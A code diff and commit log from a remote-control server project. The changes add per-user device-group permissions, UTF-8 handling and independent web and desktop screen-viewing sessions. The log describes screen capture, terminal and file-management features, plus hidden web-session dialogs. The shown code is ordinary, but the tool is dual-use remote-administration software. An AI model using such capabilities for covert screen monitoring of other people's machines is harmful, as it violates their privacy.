        // Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
+        // Custom I-beam cursor with white fill and black stroke for visibility on any background
+        const ibeamCursor = "url('data:image/svg+xml,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"24\" viewBox=\"0 0 16 24\"><path fill=\"none\" stroke=\"white\" stroke-width=\"3\" d=\"M4 3h8M8 3v18M4 21h8\"/><path fill=\"none\" stroke=\"black\" stroke-width=\"1\" d=\"M4 3h8M8 3v18M4 21h8\"/></svg>') 8 12, text";
        const cursorMap = [
            'progress',      // 0: IDC_APPSTARTING
            'default',       // 1: IDC_ARROW
            'crosshair',     // 2: IDC_CROSS
            'pointer',       // 3: IDC_HAND
            'help',          // 4: IDC_HELP
-            'text',          // 5: IDC_IBEAM
+            ibeamCursor,     // 5: IDC_IBEAM - custom cursor with outline
            'default',       // 6: IDC_ICON (no direct CSS equivalent)
            'not-allowed',   // 7: IDC_NO
            'default',       // 8: IDC_SIZE (deprecated, use default)
--- a/server/2015Remote/WebService.cpp
+++ b/server/2015Remote/WebService.cpp
@@ -11,6 +11,7 @@
 #include <filesystem>
 #include <fstream>
 #include <shlobj.h>
+#include <set>

 // Algorithm constants (same as ScreenSpyDlg.cpp)
 #define ALGORITHM_H264 2
@@ -363,6 +364,8 @@ void CWebService::ServerThread(int port) {
                HandleDeleteUser(ws_ptr, msg);
            } else if (cmd == "list_users") {
                HandleListUsers(ws_ptr, token);
+            } else if (cmd == "get_groups") {
+                HandleGetGroups(ws_ptr, token);
            }
        }
    });
@@ -566,7 +569,7 @@ void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
        return;
    }

-    SendText(ws_ptr, BuildDeviceListJson());
+    SendText(ws_ptr, BuildDeviceListJson(username));
 }

 void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id) {
@@ -588,6 +591,32 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
        return;
    }

+    // Check group permission (admin can access all devices)
+    if (username != "admin") {
+        std::string deviceGroup = ctx->GetGroupName();
+        if (deviceGroup.empty()) deviceGroup = "default";
+
+        bool hasAccess = false;
+        {
+            std::lock_guard<std::mutex> lock(m_UsersMutex);
+            for (const auto& u : m_Users) {
+                if (u.username == username) {
+                    for (const auto& g : u.allowed_groups) {
+                        if (g == deviceGroup) {
+                            hasAccess = true;
+                            break;
+                        }
+                    }
+                    break;
+                }
+            }
+        }
+        if (!hasAccess) {
+            SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Permission denied"));
+            return;
+        }
+    }
+
    // Check max clients per device
    int current_count = GetWebClientCount(device_id);
    if (current_count >= m_nMaxClientsPerDevice) {
@@ -954,12 +983,23 @@ void CWebService::HandleCreateUser(void* ws_ptr, const std::string& msg) {
    std::string newPassword = root.get("password", "").asString();
    std::string newRole = root.get("role", "viewer").asString();

+    // Parse allowed_groups array
+    std::vector<std::string> allowedGroups;
+    const Json::Value& groups = root["allowed_groups"];
+    if (groups.isArray()) {
+        for (const auto& g : groups) {
+            if (g.isString() && !g.asString().empty()) {
+                allowedGroups.push_back(g.asString());
+            }
+        }
+    }
+
    if (newUsername.empty() || newPassword.empty()) {
        SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
        return;
    }

-    if (CreateUser(newUsername, newPassword, newRole)) {
+    if (CreateUser(newUsername, newPassword, newRole, allowedGroups)) {
        SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
    } else {
        SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
@@ -1009,19 +1049,28 @@ void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
        return;
    }

-    auto users = ListUsers();
-
    Json::Value res;
    res["cmd"] = "list_users_result";
    res["ok"] = true;

    Json::Value usersArray(Json::arrayValue);
-    for (const auto& u : users) {
+    {
+        std::lock_guard<std::mutex> lock(m_UsersMutex);
+        for (const auto& u : m_Users) {
            Json::Value user;
-        user["username"] = u.first;
-        user["role"] = u.second;
+            user["username"] = u.username;
+            user["role"] = u.role;
+
+            // Include allowed_groups
+            Json::Value groups(Json::arrayValue);
+            for (const auto& g : u.allowed_groups) {
+                groups.append(g);
+            }
+            user["allowed_groups"] = groups;
+
            usersArray.append(user);
        }
+    }
    res["users"] = usersArray;

    Json::StreamWriterBuilder builder;
@@ -1030,6 +1079,48 @@ void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
    SendText(ws_ptr, json);
 }

+void CWebService::HandleGetGroups(void* ws_ptr, const std::string& token) {
+    std::string username, role;
+    if (!ValidateToken(token, username, role)) {
+        SendText(ws_ptr, BuildJsonResponse("groups", false, "Invalid token"));
+        return;
+    }
+
+    // Only admin can get groups list (for user management)
+    if (role != "admin") {
+        SendText(ws_ptr, BuildJsonResponse("groups", false, "Permission denied"));
+        return;
+    }
+
+    // Collect all unique groups from online devices
+    std::set<std::string> groups;
+    groups.insert("default");  // Always include default group
+
+    if (m_pParentDlg) {
+        EnterCriticalSection(&m_pParentDlg->m_cs);
+        for (context* ctx : m_pParentDlg->m_HostList) {
+            if (!ctx || !ctx->IsLogin()) continue;
+            std::string g = ctx->GetGroupName();
+            groups.insert(g.empty() ? "default" : g);
+        }
+        LeaveCriticalSection(&m_pParentDlg->m_cs);
+    }
+
+    // Build response
+    Json::Value res;
+    res["cmd"] = "groups";
+    res["ok"] = true;
+    res["groups"] = Json::Value(Json::arrayValue);
+    for (const auto& g : groups) {
+        res["groups"].append(g);
+    }
+
+    Json::StreamWriterBuilder builder;
+    builder["indentation"] = "";
+    std::string json = Json::writeString(builder, res);
+    SendText(ws_ptr, json);
+}
+
 //////////////////////////////////////////////////////////////////////////
 // Token Management (delegated to WebServiceAuth module)
 //////////////////////////////////////////////////////////////////////////
@@ -1170,6 +1261,14 @@ void CWebService::LoadUsers() {
            user.salt = u.get("salt", "").asString();
            user.role = u.get("role", "viewer").asString();

+            // Load allowed_groups
+            const Json::Value& groups = u["allowed_groups"];
+            if (groups.isArray()) {
+                for (const auto& g : groups) {
+                    user.allowed_groups.push_back(g.asString());
+                }
+            }
+
            if (!user.password_hash.empty()) {
                m_Users.push_back(user);
                loaded++;
@@ -1197,6 +1296,14 @@ void CWebService::SaveUsers() {
        user["password_hash"] = u.password_hash;
        user["salt"] = u.salt;
        user["role"] = u.role;
+
+        // Save allowed_groups
+        Json::Value groups(Json::arrayValue);
+        for (const auto& g : u.allowed_groups) {
+            groups.append(g);
+        }
+        user["allowed_groups"] = groups;
+
        users.append(user);
    }

@@ -1217,7 +1324,8 @@ void CWebService::SaveUsers() {
    Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
 }

-bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role) {
+bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role,
+                             const std::vector<std::string>& allowed_groups) {
    if (username.empty() || password.empty()) return false;
    if (username == "admin") return false;  // Cannot create user named "admin"
    if (role != "admin" && role != "viewer") return false;
@@ -1236,9 +1344,11 @@ bool CWebService::CreateUser(const std::string& username, const std::string& pas
        user.salt = GenerateSalt();
        user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
        user.role = role;
+        user.allowed_groups = allowed_groups;

        m_Users.push_back(user);
-        Mprintf("[WebService] Created user: %s (role: %s)\n", username.c_str(), role.c_str());
+        Mprintf("[WebService] Created user: %s (role: %s, groups: %d)\n",
+                username.c_str(), role.c_str(), (int)allowed_groups.size());
    }

    // Save to file (outside lock scope since SaveUsers acquires its own lock)
@@ -1295,17 +1405,47 @@ std::string CWebService::BuildJsonResponse(const std::string& cmd, bool ok, cons
    return Json::writeString(builder, res);
 }

-std::string CWebService::BuildDeviceListJson() {
+std::string CWebService::BuildDeviceListJson(const std::string& username) {
    Json::Value res;
    res["cmd"] = "device_list";
    res["devices"] = Json::Value(Json::arrayValue);

+    // Get user's allowed groups for filtering (skip for admin or empty username)
+    std::vector<std::string> allowedGroups;
+    bool filterByGroup = false;
+    if (!username.empty() && username != "admin") {
+        std::lock_guard<std::mutex> lock(m_UsersMutex);
+        for (const auto& u : m_Users) {
+            if (u.username == username) {
+                allowedGroups = u.allowed_groups;
+                filterByGroup = true;
+                break;
+            }
+        }
+    }
+
    if (m_pParentDlg) {
        // Access device list with lock
        EnterCriticalSection(&m_pParentDlg->m_cs);
        for (context* ctx : m_pParentDlg->m_HostList) {
            if (!ctx || !ctx->IsLogin()) continue;

+            // Get device group (empty = "default")
+            std::string deviceGroup = ctx->GetGroupName();
+            if (deviceGroup.empty()) deviceGroup = "default";
+
+            // Filter by allowed groups if user is not admin
+            if (filterByGroup) {
+                bool allowed = false;
+                for (const auto& g : allowedGroups) {
+                    if (g == deviceGroup) {
+                        allowed = true;
+                        break;
+                    }
+                }
+                if (!allowed) continue;  // Skip device not in allowed groups
+            }
+
            Json::Value device;
            // Use string for ID to avoid JavaScript number precision loss
            device["id"] = std::to_string(ctx->GetClientID());
@@ -1328,10 +1468,29 @@ std::string CWebService::BuildDeviceListJson() {
            CString version = ctx->GetClientData(ONLINELIST_VERSION);
            device["version"] = AnsiToUtf8(version);

+            // 活动窗口编码由客户端能力位决定：新客户端是 UTF-8，老客户端是 CP_ACP（默认 936）。
+            // 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
            CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
-            device["activeWindow"] = AnsiToUtf8(activeWindow);
+            std::string activeWindowU8;
+            if (!activeWindow.IsEmpty()) {
+                UINT cp = GetClientEncoding(ctx);
+                int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
+                if (wlen > 1) {
+                    std::wstring w(wlen - 1, L'\0');
+                    MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
+                    int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
+                    if (u8len > 1) {
+                        activeWindowU8.resize(u8len - 1);
+                        WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
+                    }
+                }
+            }
+            device["activeWindow"] = activeWindowU8;
            device["online"] = true;

+            // Add device group to response
+            device["group"] = deviceGroup;
+
            // Get screen info from client's reported resolution
            // Format: "n:MxN" where n=monitor count, M=width, N=height
            CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
@@ -1509,9 +1668,13 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
    context* ctx = m_pParentDlg->FindHost(device_id);
    if (!ctx) return false;

-    // Close any existing remote desktop for this device first
-    // This prevents duplicate dialogs when user reconnects quickly
-    m_pParentDlg->CloseRemoteDesktopByClientID(device_id);
+    // Check if there's already a Web session for this device
+    // Only reuse if Web has already triggered AND a Web dialog exists
+    // This ensures MFC and Web have independent dialogs
+    if (IsWebTriggered(device_id) && HasActiveSession(device_id)) {
+        Mprintf("[WebService] Reusing existing Web session for device %llu\n", device_id);
+        return true;  // Web session exists, new web user joins watching
+    }

    // Mark as web-triggered (dialog should be hidden)
    {
@@ -1520,7 +1683,8 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
    }

    // Send COMMAND_SCREEN_SPY with H264 algorithm
-    // Format: [COMMAND_SCREEN_SPY:1][DXGI:1][Algorithm:1][MultiScreen:1]
+    // If client is already capturing (MFC opened first), it will re-send TOKEN_BITMAPINFO
+    // This creates a new hidden Web dialog while MFC dialog remains visible
    BYTE bToken[32] = { 0 };
    bToken[0] = COMMAND_SCREEN_SPY;
    bToken[1] = 0;  // DXGI mode: 0=GDI
@@ -1544,10 +1708,11 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
        }
    }

-    // If no more web clients watching, close the remote desktop
+    // If no more web clients watching, close only the Web session dialog
+    // MFC dialogs remain open
    if (watchingCount == 0) {
        ClearWebTriggered(device_id);
-        m_pParentDlg->CloseRemoteDesktopByClientID(device_id);
+        m_pParentDlg->CloseWebRemoteDesktopByClientID(device_id);
    }
 }

@@ -1563,11 +1728,14 @@ void CWebService::RegisterScreenContext(uint64_t device_id, CONTEXT_OBJECT* ctx)
 }

 void CWebService::UnregisterScreenContext(uint64_t device_id) {
-    if (!m_bRunning) return;
+    // Always clean up, even if WebService is stopping
+    // This prevents stale pointers in m_ScreenContexts
    std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
    m_ScreenContexts.erase(device_id);
+    if (m_bRunning) {
        Mprintf("[WebService] Unregistered screen context for device %llu\n", device_id);
    }
+}

 CONTEXT_OBJECT* CWebService::GetScreenContext(uint64_t device_id) {
    std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
@@ -1666,6 +1834,26 @@ void CWebService::ClearWebTriggered(uint64_t device_id) {
    m_WebTriggeredDevices.erase(device_id);
 }

+void CWebService::SetMfcTriggered(uint64_t device_id) {
+    std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
+    m_MfcTriggeredDevices.insert(device_id);
+}
+
+bool CWebService::IsMfcTriggered(uint64_t device_id) {
+    std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
+    return m_MfcTriggeredDevices.find(device_id) != m_MfcTriggeredDevices.end();
+}
+
+void CWebService::ClearMfcTriggered(uint64_t device_id) {
+    std::lock_guard<std::mutex> lock(m_MfcTriggeredMutex);
+    m_MfcTriggeredDevices.erase(device_id);
+}
+
+bool CWebService::HasActiveSession(uint64_t device_id) {
+    std::lock_guard<std::mutex> lock(m_ScreenContextsMutex);
+    return m_ScreenContexts.find(device_id) != m_ScreenContexts.end();
+}
+
 void CWebService::NotifyDeviceUpdate(uint64_t device_id, const std::string& rtt, const std::string& activeWindow) {
    if (!m_bRunning || m_bStopping) return;

--- a/server/2015Remote/WebService.h
+++ b/server/2015Remote/WebService.h
@@ -43,6 +43,7 @@ struct WebUser {
    std::string password_hash;  // SHA256(password + salt)
    std::string salt;
    std::string role;           // "admin" | "viewer"
+    std::vector<std::string> allowed_groups;  // Groups this user can view (empty = no access, admin = all)
 };

 // Device info for web clients
@@ -79,7 +80,8 @@ public:
    void SetAdminPassword(const std::string& password);

    // User management
-    bool CreateUser(const std::string& username, const std::string& password, const std::string& role);
+    bool CreateUser(const std::string& username, const std::string& password, const std::string& role,
+                    const std::vector<std::string>& allowed_groups = {});
    bool DeleteUser(const std::string& username);
    std::vector<std::pair<std::string, std::string>> ListUsers();  // Returns [(username, role), ...]

@@ -144,7 +146,7 @@ private:

    // JSON helpers
    std::string BuildJsonResponse(const std::string& cmd, bool ok, const std::string& msg = "");
-    std::string BuildDeviceListJson();
+    std::string BuildDeviceListJson(const std::string& username = "");

    // Password verification
    bool VerifyPassword(const std::string& input, const WebUser& user);
@@ -157,6 +159,7 @@ private:
    void HandleCreateUser(void* ws_ptr, const std::string& msg);
    void HandleDeleteUser(void* ws_ptr, const std::string& msg);
    void HandleListUsers(void* ws_ptr, const std::string& token);
+    void HandleGetGroups(void* ws_ptr, const std::string& token);

    // Send to WebSocket
    void SendText(void* ws_ptr, const std::string& text);
@@ -224,6 +227,14 @@ public:
    bool IsWebTriggered(uint64_t device_id);
    void ClearWebTriggered(uint64_t device_id);

+    // MFC trigger management - MFC dialogs should always be visible
+    void SetMfcTriggered(uint64_t device_id);
+    bool IsMfcTriggered(uint64_t device_id);
+    void ClearMfcTriggered(uint64_t device_id);
+
+    // Check if a remote desktop session already exists for device
+    bool HasActiveSession(uint64_t device_id);
+
    // Config accessors
    void SetHideWebSessions(bool hide) { m_bHideWebSessions = hide; }
    bool GetHideWebSessions() const { return m_bHideWebSessions; }
@@ -240,6 +251,10 @@ private:
    // Screen context registry: device_id -> ScreenManager's CONTEXT_OBJECT
    std::map<uint64_t, CONTEXT_OBJECT*> m_ScreenContexts;
    std::mutex m_ScreenContextsMutex;
+
+    // MFC triggered devices: dialogs created by MFC should always be visible
+    std::set<uint64_t> m_MfcTriggeredDevices;
+    std::mutex m_MfcTriggeredMutex;
 };

 // Global accessor
--- a/server/2015Remote/context.h
+++ b/server/2015Remote/context.h
@@ -60,4 +60,19 @@ public:
        if (caps.IsEmpty()) return false;
        return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0;
    }
+
+    // 检查客户端是否使用 UTF-8 协议字符串编码。
+    // 无此能力位的老客户端：服务端按 CP_ACP（CP936，覆盖 95% 的简中/英语 ASCII 老客户端）解读。
+    bool SupportsUtf8() const {
+        CString caps = GetClientData(ONLINELIST_CAPABILITIES);
+        if (caps.IsEmpty()) return false;
+        return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0;
+    }
+
+    // 检查客户端是否支持屏幕预览（双击主机时拉缩略图）。
+    bool SupportsScreenPreview() const {
+        CString caps = GetClientData(ONLINELIST_CAPABILITIES);
+        if (caps.IsEmpty()) return false;
+        return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_SCREEN_PREVIEW) != 0;
+    }
 };
--- a/server/2015Remote/lang/en_US.ini
+++ b/server/2015Remote/lang/en_US.ini
@@ -1171,7 +1171,7 @@ WIN32
 请选择目录=Language location
 国际化(&N)=Internationalization
 语言包目录(&D)=Language Pack Directory
-请通过“扩展”菜单指定语言包目录以支持多语言=Please specify the language pack directory via the "Extensions" menu to enable multi-language support.
+请通过\"扩展\"菜单指定语言包目录以支持多语言=Please specify the language pack directory via the "Extensions" menu to enable multi-language support.
 请选择[*.ico]图标文件或输入进程描述!=Please select an [*.ico] icon file or enter a process description!
 PE 编辑=PE Edit
 PE 编辑(&R)=PE Edit(&R)
@@ -1819,3 +1819,7 @@ IOCP
 插件列表为空，无法创建触发器=Plugin list is empty, cannot create trigger
 请先选择至少一个插件=Please select at least one plugin

+没有本地历史记录=No local history
+历史目录不存在: %s=History folder not exist: %s
+无法识别远程主机=Unknown remote machine
+没有远程历史记录=No remote history
--- a/server/2015Remote/lang/zh_TW.ini
+++ b/server/2015Remote/lang/zh_TW.ini
@@ -1169,7 +1169,7 @@ WIN32
 请选择目录=請選擇目錄
 国际化(&N)=國際化
 语言包目录(&D)=語言包目錄
-请通过“扩展”菜单指定语言包目录以支持多语言=請透過「擴充」選單指定語言包目錄，以支援多國語言。
+请通过\"扩展\"菜单指定语言包目录以支持多语言=請透過「擴充」選單指定語言包目錄，以支援多國語言。
 请选择[*.ico]图标文件或输入进程描述!=請選擇[*.ico]圖示檔案或輸入處理程序描述！
 PE 编辑=PE 編輯
 PE 编辑(&R)=PE 編輯(&R)
@@ -1810,3 +1810,7 @@ IOCP
 << 移除=<< 移除
 插件列表为空，无法创建触发器=外掛列表為空，無法建立觸發器
 请先选择至少一个插件=請先選擇至少一個外掛
+没有本地历史记录=没有本地历史记录
+历史目录不存在: %s=历史目录不存在: %s
+无法识别远程主机=无法识别远程主机
+没有远程历史记录=没有远程历史记录
--- a/server/2015Remote/res/ToolBar_Disable.bmp
+++ b/server/2015Remote/res/ToolBar_Disable.bmp
--- a/server/2015Remote/res/ToolBar_Enable.bmp
+++ b/server/2015Remote/res/ToolBar_Enable.bmp
--- a/server/2015Remote/resource.h
+++ b/server/2015Remote/resource.h
@@ -506,6 +506,8 @@
 #define IDT_REMOTE_DOWNLOADS            2235
 #define IDT_REMOTE_HOME                 2236
 #define IDT_REMOTE_SEARCH               2237
+#define IDT_LOCAL_HISTORY               2238
+#define IDT_REMOTE_HISTORY              2239
 #define IDC_BUTTON_SAVE_LICENSE         2240
 #define IDC_LICENSE_LIST                2241
 #define IDC_COMBO_VERSION               2245
@@ -966,6 +968,11 @@
 #define IDC_STATIC_TRIGGER_TYPE         2544
 #define IDC_STATIC_TRIGGER_ACTION       2545

+// 内嵌语言资源 (RCDATA)
+// 注意：避免与 IDB_BITMAP_TRIGGER(372) 和 IDB_BITMAP_WEBDESKTOP(373) 冲突
+#define IDR_LANG_EN_US                  380
+#define IDR_LANG_ZH_TW                  381
+
 // Next default values for new objects
 // 
 #ifdef APSTUDIO_INVOKED
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -101,6 +101,7 @@
 #define WM_SHOWNOTIFY					WM_USER+3031
 #define WM_DISCONNECT					WM_USER+3032
 #define WM_OPENTERMINALDIALOG			WM_USER+3033
+#define WM_PREVIEW_RESPONSE				WM_USER+3034

 #ifdef _UNICODE
 #if defined _M_IX86
Author	SHA1	Message	Date
yuanyuanxiang	f85cc8b86c	Fix: Linux client UTF-8 path/active-window garbled on server	2026-05-08 14:03:45 +02:00
yuanyuanxiang	bc06fd5af5	Feature: Linux/macOS server-identity gate via libsign.a fix remote-cursor flicker on Windows controller	2026-05-08 12:39:59 +02:00
yuanyuanxiang	731ff7a894	Feature: right-click region screenshot in non-control mode	2026-05-08 09:27:19 +02:00
yuanyuanxiang	566f5b8d42	Feature: screen preview thumbnail on host double-click Server sends COMMAND_SCREEN_PREVIEW_REQ when user double-clicks an active (non-Locked/Inactive) host that advertises CLIENT_CAP_SCREEN_PREVIEW. Client BitBlts primary screen, encodes to JPEG via GDI+ and replies. The existing STATIC tooltip is replaced with a self-drawn CPreviewTipWnd showing the thumbnail above the host info text, with wide-character rendering so the popup also works on non-Chinese servers. - Quality tiers reuse QualityProfile pattern: PreviewProfile + 6 levels driven by GetTargetQualityLevel (FRP-aware), with 4K/ultrawide auto upscale on Ultra/High tiers up to min(screenWidth/4, 1280). - Client limits to 1 in-flight capture via atomic counter to defend against flood/DoS; Send2Server is already mutex-serialized. - Server validates responses by reqId only (single in-flight tip); 4s arrival timeout marks "preview unavailable" without blocking the text fallback path. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>	2026-05-07 18:17:28 +02:00
yuanyuanxiang	70a6b0128e	Fix: log list header click was sorting host list (longstanding cross-talk) ON_NOTIFY(HDN_ITEMCLICK, 0, ...) matches the inner header control's ID, which is 0 for both m_CList_Online and m_CList_Message. So clicks on either list's header reach OnHdnItemclickList, which always sorts the host list by the clicked column index. The cross-talk has existed since the initial migration commit (`5a325a2`). It went unnoticed because pre-0aa7588 both lists' headers triggered the handler in A mode and the columns happened to align (host list cols 0..2 == IP/Addr/Location, log list also has 3 cols), so log-header clicks appeared to "sort plausibly". After `0aa7588` only the log list's A-mode header reached the handler, surfacing the strange "click log header re-sorts hosts" behavior. Guard the handler by checking pNMHDR->hwndFrom against the online list's header HWND. Log header clicks now have no effect on the host list. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>	2026-05-07 10:47:05 +02:00
yuanyuanxiang	b252cbbaf2	Fix: header sort broken after LVM_SETUNICODEFORMAT (also map HDN_ITEMCLICKW) The i18n commit (`0aa7588`) enabled LVM_SETUNICODEFORMAT(TRUE) on the online list. That flag also flips the embedded header control to Unicode mode, so header notifications switch from HDN_ITEMCLICKA (= HDN_ITEMCLICK in MBCS build) to HDN_ITEMCLICKW. The existing ON_NOTIFY mapping only handles the A version, so clicking the column header silently does nothing. Add a parallel ON_NOTIFY for HDN_ITEMCLICKW dispatching to the same handler. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>	2026-05-07 10:37:24 +02:00
yuanyuanxiang	5f4fb62d20	Fix: tray icon not showing in Release service+agent mode (drop NIF_GUID) NIF_GUID binds the tray icon to the EXE's full path. Once a GUID is registered for one path, Shell_NotifyIcon(NIM_ADD) silently fails for any other path using the same GUID. This caused Debug-vs-Release builds and service+agent dual-process scenarios to fight over the same GUID slot. Drop NIF_GUID and the static NOTIFY_ICON_GUID; revert to the traditional (hWnd, uID) identification. The icon is freshly registered per process launch, no path binding, no cross-instance interference. The NIF_GUID was leftover from the AUMID/Toast experiment that was later reverted; only the tray-icon side of that change wasn't cleaned up. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>	2026-05-07 00:17:32 +02:00
yuanyuanxiang	ef8165c3b4	Feature: sub-connection auth (TOKEN_CONN_AUTH) with HMAC + clientID binding Client first packet on every sub-connection signs (clientID \|\| timestamp \|\| nonce) and waits for server ack. Server verifies signature and pins clientID on the sub-connection ctx, eliminating IP-reverse-lookup unreliability for NAT/localhost scenarios. Sub-conn coverage: Win 12 sites, Linux/macOS 3-4 each. Main connection keeps existing TOKEN_LOGIN flow unchanged. Includes: - Protocol structs sized to 512/256 bytes with reserved space for future extensions (locale, OS info, session token, etc.) - 5-min timestamp tolerance (Kerberos-grade replay window) - 10-sec client wait for cross-pacific / weak-network tolerance - Fix RemoveFromHostList side-effect ordering: MarkDeviceOffline and m_ActiveWndW.erase now only fire when ctx is actually removed from m_HostList, preventing sub-conn disconnects from misreporting main as offline (regression introduced by auth-set clientID on sub ctx) - Fix latent bug: IOCPClient::m_conn was never assigned in ctor, leaving GetConnectionAddress() always NULL and FileManager V2 transfer's srcClientID always 0 Breaking change: new client cannot use sub-features against old server. New server tolerates legacy clients (no auth). Future tightening can reject unauthenticated sub-connections via IsAuthenticated() flag. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>	2026-05-07 00:04:40 +02:00
yuanyuanxiang	2c5b5ad628	Improve: client/server - stable client ID via MachineGuid+path (V2)	2026-05-06 21:32:06 +02:00
yuanyuanxiang	0aa75882d1	i18n: UTF-8 protocol capability + Unicode rendering on server	2026-05-06 19:29:02 +02:00
yuanyuanxiang	11434653e9	Feature: Add debug configuration for Microsoft VS Code	2026-05-06 09:51:17 +02:00
yuanyuanxiang	05a9bb1245	Feature: Allow external resource override from res/ directory	2026-05-05 21:21:38 +02:00
yuanyuanxiang	a89f8dd28f	Feature: Add zoom functionality for remote desktop viewer in non-control mode	2026-05-05 15:09:16 +02:00
yuanyuanxiang	6113b4653d	Fix: Resend login info after group change for macOS/Linux clients	2026-05-05 13:35:02 +02:00
yuanyuanxiang	f11fc93ba8	Feature: Embed language resources, disk files act as optional patches	2026-05-05 13:22:47 +02:00
yuanyuanxiang	773c78ac0f	Improve master authorization logs and web remote desktop cursor	2026-05-05 12:46:05 +02:00
yuanyuanxiang	92f3df8464	Perf: Optimize macOS screen capture with CGDisplayStream Core optimization: - Use CGDisplayStream instead of per-frame CGDisplayCreateImage - Push model: CPU sleeps when screen is static (condition_variable wait) - IOSurface capture avoids expensive image creation per frame - ~47% CPU reduction during active remote desktop (45% → 24%) Additional optimizations: - vImageVerticalReflect (SIMD) replaces manual row-by-row flip - Cache CGColorSpaceRef to avoid per-frame creation/release - Cache tempBuffer to avoid per-frame memory allocation - Throttle getCursorTypeIndex to 250ms (Accessibility API is expensive) Bug fixes: - Fix unreliable screen capture permission check (use actual capture test) - Improve permission logging Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>	2026-05-03 23:36:23 +02:00
yuanyuanxiang	b732f841d0	fix(server): Prevent crash from dangling pointers in file dialog map Fixed two bugs when closing ScreenSpyDlg with file transfer dialogs: 1. Access violation (0xC0000005): CDlgFileSend self-destructs via PostNcDestroy (delete this) when closed, leaving dangling pointers in m_FileRecvDlgs map. 2. Double-free: Original code called DestroyWindow() then delete, but DestroyWindow already triggers delete this via PostNcDestroy. Solution: - Store {HWND, pointer} pairs instead of raw pointers - Check HWND validity with IsWindow() before accessing pointer - Use SendMessage(WM_CLOSE) to let dialog self-destruct safely - Always erase map entries to prevent accumulation of invalid data Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>	2026-05-03 15:29:31 +02:00
yuanyuanxiang	1df2a7b321	feat(macos): Add clipboard support to match Linux implementation	2026-05-03 13:53:58 +02:00
yuanyuanxiang	3d8e90da14	Feature: Add daemon mode (-d) support for macOS	2026-05-03 13:35:30 +02:00
yuanyuanxiang	12e2a33062	Fix: Prevent reconnect crash by clearing callback before destruction	2026-05-03 13:16:02 +02:00
yuanyuanxiang	a8b0932080	Feature: Implement Linux cursor type detection using XFixes extension	2026-05-03 12:58:29 +02:00
yuanyuanxiang	ca37fa419a	Feat: Implement H264 for Linux client with dynamic libx264 loading	2026-05-03 12:15:22 +02:00
yuanyuanxiang	36423b1c7c	Refactor: Move FileManager to common, add macOS file management support	2026-05-03 10:30:30 +02:00
yuanyuanxiang	a3611d9fc1	Feature: Add terminal support for macOS client with shared PTYHandler	2026-05-03 09:33:47 +02:00
yuanyuanxiang	9ae5529458	Fix: Ensure MFC and Web remote desktop sessions are fully independent	2026-05-02 19:16:30 +02:00
yuanyuanxiang	171fa750e5	Feature: Persist group name to config file and include in login info	2026-05-02 19:14:21 +02:00
yuanyuanxiang	8ed9ba8426	Fix: Wake display on remote desktop start when macOS is locked	2026-05-02 19:14:14 +02:00
yuanyuanxiang	fd3838a151	Feature: filter device visibility by allowed groups for web user	2026-05-02 00:30:08 +02:00
yuanyuanxiang	56419f8ecb	Fix: MFC remote desktop touchpad two-finger scroll not working	2026-05-01 23:25:32 +02:00
yuanyuanxiang	bb6fd7b1b9	Feature: Add user idle and screen lock detection for macOS	2026-05-01 23:20:46 +02:00
yuanyuanxiang	3607f1d768	Feature: Add power management to keep macOS client always responsive	2026-05-01 21:43:55 +02:00